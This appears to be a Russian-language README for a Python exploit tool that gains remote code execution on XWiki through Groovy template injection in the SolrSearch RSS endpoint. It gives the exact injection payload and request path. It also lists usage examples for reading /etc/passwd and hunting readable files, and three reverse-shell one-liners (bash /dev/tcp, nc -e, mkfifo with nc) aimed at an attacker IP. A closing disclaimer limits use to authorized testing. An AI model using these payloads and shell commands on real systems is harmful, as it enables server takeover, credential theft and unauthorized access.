XWiki SSTI Exploit

Эксплойт на Python для уязвимости Server-Side Template Injection (SSTI) в XWiki через инъекцию шаблонов Groovy в конечной точке SolrSearch.

Уязвимость

• Тип: Server-Side Template Injection (SSTI)
• Компонент: RSS-лента XWiki SolrSearch
• Воздействие: Удаленное выполнение кода
• Затрагиваемая версия: XWiki 15.10.8 (и, возможно, другие)

Требования

pip3 install requests beautifulsoup4

Использование

Проверка на уязвимость

./xwiki_exploit.py -u http://target --test

Выполнение одной команды

./xwiki_exploit.py -u http://target.com -c "whoami"
./xwiki_exploit.py -u http://target.com -c "id"
./xwiki_exploit.py -u http://target.com -c "ls -la /tmp"

Интерактивная оболочка

./xwiki_exploit.py -u http://target.com

Это предоставит интерактивную псевдо-оболочку, в которой можно выполнять команды:

xwiki> whoami
xwiki
xwiki> pwd
/usr/lib/xwiki-jetty
xwiki> ls /home
oliver
xwiki> exit

Режим отладки

./xwiki_exploit.py -u http://target.com -c "id" --debug

Параметры командной строки

• -u, --url URL: URL цели (обязательный)
• -c, --command CMD: Выполнить одну команду
• --test: Проверить, уязвима ли цель
• --no-verify-ssl: Отключить проверку сертификата SSL
• --debug: Включить отладочный вывод

Примеры

Сбор информации:

./xwiki_exploit.py -u http://target.com -c "uname -a"
./xwiki_exploit.py -u http://target.com -c "cat /etc/os-release"
./xwiki_exploit.py -u http://target.com -c "cat /etc/passwd"

Поиск интересных файлов:

./xwiki_exploit.py -u http://target.com -c "find /home -type f -readable 2>/dev/null"
./xwiki_exploit.py -u http://target.com -c "ls -la /var/lib/xwiki"

Сетевая информация:

./xwiki_exploit.py -u http://target.com -c "ip addr"
./xwiki_exploit.py -u http://target.com -c "netstat -tulpn"

Настройка обратной оболочки:

# На машине атакующего запустите слушатель:
nc -lvnp 1337

# Из эксплойта (попробуйте разные методы):
./xwiki_exploit.py -u http://target.com -c "bash -c 'bash -i >& /dev/tcp/IP/1337 0>&1'"
./xwiki_exploit.py -u http://target.com -c "nc -e /bin/sh IP 1337"
./xwiki_exploit.py -u http://target.com -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 1337 >/tmp/f"

Технические детали

Структура полезной нагрузки

Эксплойт использует следующую структуру полезной нагрузки SSTI:

}}}{{async async=false}}{{groovy}}println("COMMAND".execute().text){{/groovy}}{{/async}}

Процесс эксплуатации

1. Полезная нагрузка кодируется в URL и отправляется на уязвимую конечную точку:

   root@kitploit:~

   /xwiki/bin/view/Main/SolrSearch?media=rss&text=[PAYLOAD]
   

2. Сервер обрабатывает шаблон Groovy и выполняет команду

3. Вывод захватывается из ответа RSS-ленты в формате:

   root@kitploit:~

   search on [}}OUTPUT]
   

4. Эксплойт обрабатывает HTML-ответ для извлечения вывода команды

Примечания

• Команды выполняются от имени пользователя xwiki (uid=997)
• Рабочая директория: /usr/lib/xwiki-jetty
• Некоторые команды могут не отображать вывод, если они завершаются ошибкой или выполняются в фоновом режиме
• Для сложных команд стоит использовать shell-скрипты или кодировку base64

Отказ от ответственности

Этот инструмент предназначен исключительно для образовательных целей и авторизованного тестирования на проникновение. Используйте его только на системах, на которые у вас есть разрешение на тестирование.